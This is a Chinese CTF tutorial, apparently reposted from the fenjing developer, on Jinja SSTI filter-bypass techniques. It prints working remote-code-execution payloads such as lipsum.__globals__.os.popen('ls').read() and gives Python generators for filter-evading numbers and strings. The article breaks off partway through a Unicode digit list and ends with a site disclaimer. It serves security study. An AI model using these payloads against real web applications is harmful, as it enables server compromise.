介绍
Jinja SSTI 的绕过手法非常多,但是很多文章在介绍绕过手法的时候只会从绕过字符的角度切入,难以查找,而且介绍的手法也不够全。
这里我将 fenjing 开发两年中包含的所有手法都整合在这篇文章中,并从构造目标的角度切入,希望可以让各位选手进阶 Jinja SSTI
有些手法很难手搓,本文会附带上示例脚本用于生成 payload
目录
-
整体 payload 的构造思路
-
常用技巧
-
任意自然数
-
十六进制、二进制和八进制
-
filter
-
加减乘除
-
True 和 False
-
unicode
-
-
字符串拼接
-
+
和~
-
join
-
replace
-
__add__
-
lipsum.__globals__.concat
-
"%s%%s"
-
特殊:字符串重复
-
-
英文小写字符、阿拉伯数字和下划线
-
dict
-
从全局对象中提取
-
-
特殊字符:百分号
%
-
特殊字符串:
"%c"
-
任意字符串 - 简单手法
-
任意字符串 - 复杂手法
-
取属性和字典的值
-
map filter
-
globals()
-
“全局函数”
-
取 flask config
-
构造最终 payload
整体 payload 的构造思路
不要再用你那啰里八嗦的__subclasses__
了
很多入门 jinja SSTI 教程都喜欢教小白用"".__mro__
之类的技巧搓 payload
套路就是使用__base__
,__mro__
之类的属性拿到object
类,然后用__subclasses__
找到需要的类,比如
{{ "".__class__.__mro__[1].__subclasses__()[513]('ls /',stdout=-1,stderr=-1,shell=True).communicate()[0]}}
可是这个套路不仅要从一个非常长的列表中挑出subprocess.Popen
的位置(在上面是 513),如果要打内存马甚至还得从这个类中拿出__init__
函数,再找eval
函数,比如说这样:
[].__class__.__mro__[1].__subclasses__()[513].__init__.__globals__['__builtins__']['eval'](...)
这不是脱裤子放 P 吗
用lipsum
等全局变量可以直接拿到eval
函数,__import__
函数,os
模块等等,用不着__subclasses__
,也根本不需要用到__mro__
之类的东西
那有人就会说了:如果像lipsum
这些东西都被 ban 了怎么办?我接下来会在“全局变量”一段展示如何用任意变量名代替lipsum
,cycler
,g
等全局变量
使用lipsum.__globals__.__bulitins__.eval
使用 lipsum 等全局变量可以直接找到builtins
模块,然后直接拿到eval
函数或者__import__
函数实现 RCE. 这样不需要从列表中找到subprocess.Popen
类,构造出的 payload 也会简单很多
比如
-
lipsum.__globals__.__builtins__.eval('114+514')
就是从 lipsum 中拿到__globals__
这个属性(也就是globals()
字典),取其中__builtins__
的值,再拿出 eval 函数,计算114+514
-
lipsum.__globals__.__builtins__.__import__('os').popen('ls /').read()
和上面的差不多,但是是拿出__import__
函数,导入 os 模块,调用 popen 函数执行ls /
,最后读取输出
使用lipsum.__globals__.os.popen
如果只需要构造命令的话可以直接拿出 os 模块调用 popen 函数,比如
{{ lipsum.__globals__.os.popen('ls').read() }} {{ cycler.next.__globals__.os.popen('ls').read() }}
注意 flask 提供的变量,如g
,self
等不能这么操作,因为这些类所在的.py 文件没有import os
构造套路
综合上面的手法来看,payload的构造思路是:
-
首先思考构造"_","%c"等特殊字符串
-
然后思考构造任意数字/字符串
-
再然后取全局变量的属性
-
最后调用eval等函数实现RCE.
一般来说只有从上到下依次实现才能构造出需要的payload. 而其中最重要的就是任意字符串。如果没有任意字符串,那取属性、调用eval函数等等都会变得非常困难。
常用技巧
-
所有会将任意对象转成字符串的 filter
-
capitalize
-
center
-
escape
(可简写为 e) -
forceescape
(不如上面那个好用) -
lower
-
pprint
-
safe
-
string
-
trim
-
unique
-
upper
-
urlencode
-
-
取出字符串/列表的第 i 个字符/元素:
"abcdef"|batch(i)|first|last
(i 从 1 开始)-
如果方括号
[]
被 ban 了的话,可以使用batch
这个 filter 拿出字符串的第 i 个字符或者列表的第 i 个元素 -
batch
这个 filter 的作用是将字符串/列表 n 个 n 个地切分开,分成多个列表。比如"abcdef"
会变成[["a","b"],["c","d"],["e","f"]]
,特别注意第 n 个字符正好在第一个列表的最后一位 -
这样,我们要拿出第 i 个字符(比如说字符串
"abcdef"
中的第二个字符 b),只需要用"abcdef"|batch(2)|first|last
就好了 -
原理是将字符串
"abcdef"
两个两个地分开,这样字符 b 就在第一个列表的最后一个元素,用|first|last
拿出来就好了
-
任意自然数
有些难题会禁止某些数字,甚至禁止 0-9 的出现,如果我们不能生成数字,就不能通过"%c"
生成任意字符串了。
构造数字的方法主要有以下这些
十六进制、二进制和八进制
这个应该大家都能想到,如果有某些被 ban 了可以考虑用十六进制等绕过
比如说0x61
就是数字 97,0b1000001
就是数字 65,0o173
就是数字 123
要把数字转成对应的十六进制等可以用 python 内置的hex
等函数
filter
length
和count
我们可以构造出一个很长的列表、元组或者字典,然后取这个列表的长度,这样构造出所有数字
def get_number(n, length_or_count="length"): if n == 0: return "()|" + length_or_count elif n == 1: return "()|int|e|" + length_or_count elif n == 2: return "(()|int~()|int)|" + length_or_count elif n % 2 == 0: return "(" + "~".join("()" for _ in range(n // 2)) + ")|" + length_or_count else: return "(" + "~".join("()" for _ in range(n // 2)) + "~()|int)|" + length_or_count
如果不能使用逗号的话也可以构造出一个很长的字符串(一般用dict
构造)然后求长度
def get_number(n): return "dict("+"i"*n+"=i)|first|count" print(get_number(10)) # dict(iiiiiiiiii=i)|first|count
int
如果我们可以用其他方法构造出 0-9 这些数字的字符,就可以拼接这些字符并通过int
生成需要的数字
这里使用波浪线~
拼接各个数字字符
def get_number_small(n, length_or_count="length"): """这个函数用来生成数字0-9""" if n == 0: return "()|" + length_or_count elif n == 1: return "()|int|e|" + length_or_count elif n == 2: return "(()|int~()|int)|" + length_or_count elif n % 2 == 0: return "(" + "~".join("()" for _ in range(n // 2)) + ")|" + length_or_count else: return "(" + "~".join("()" for _ in range(n // 2)) + "~()|int)|" + length_or_count def get_number(n, length_or_count="length"): if n < 10: return get_number_small(n, length_or_count) return "(" + "~".join(get_number_small(int(x)) for x in str(n)) + ")|int" print(get_number(123)) # (()|int|e|length~(()|int~()|int)|length~(()~()|int)|length)|int
sum
可以先构造出数字 1,然后用 sum 将多个数字 1 求和,得出任意正整数
def get_number(n): one = "1" # 或者"True" return "("+",".join(one for _ in range(n))+")|sum" print(get_number(10)) # (1,1,1,1,1,1,1,1,1,1)|sum
加减乘除等
如果我们能生成比较小的数字,我们就可以通过加减乘除计算出需要的所有自然数
甚至,我们只需要能构造出数字 1,就能通过1+1+1+...
的方式构造出所有正整数,也可以用1-1
的方式构造出 0
def get_number(n): if n == 0: return "0" elif n == 1: return "1" else: # 其中的"1"也可以换成其他 return "("+"+".join("1" for _ in range(n))+")" print(get_number(123)) # 1+1+1+...
除了加减乘除之外我们还可以使用乘方,使用乘方可以大大减少 payload 长度(虽然在大部分情况下都没用)
True 和 False
True 是 1, False 是 0, 而且在 python 中 bool 是 int 的子类,所以可以用 True 替换 1
然后使用加法就能构造出所有正整数,比如 5 就是True+True+True+True+True
def get_number(n): if n == 0: return "False" elif n == 1: return "True" else: return "("+"+".join("True" for _ in range(n))+")" print(get_number(123)) # (True+True+True+True+True+True+True+True+True+True+...
unicode
python 除了可以识别普通的数字字符之外还支持 Unicode 数字字符。比如说int('႖႖႖')
在 python 中的结果为 666。所以我们可以将部分字符替换成这些 unicode 字符实现绕过。
通过 fuzz 我们可以得到所有可以被转成 0-9 的字符,其中每个字符串中的字符从左到右分别代表 0-9
[ "٠١٢٣٤٥٦٧٨٩", "۰۱۲۳۴۵۶۷۸۹", "߀߁߂߃߄߅߆߇߈߉", "०१२३४५६७८९", "০১২৩৪৫৬৭৮৯", "੦੧੨੩੪੫੬੭੮੯", "૦૧૨૩૪૫૬૭૮૯", "୦୧୨୩୪୫୬୭୮୯", "௦௧௨௩௪௫௬௭௮௯", "౦౧౨౩౪౫౬౭౮౯", "೦೧೨೩೪೫೬೭೮೯", "൦൧൨൩൪൫൬൭൮൯", "๐๑๒๓๔๕๖๗๘๙", "໐໑໒໓໔໕໖໗໘໙",
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)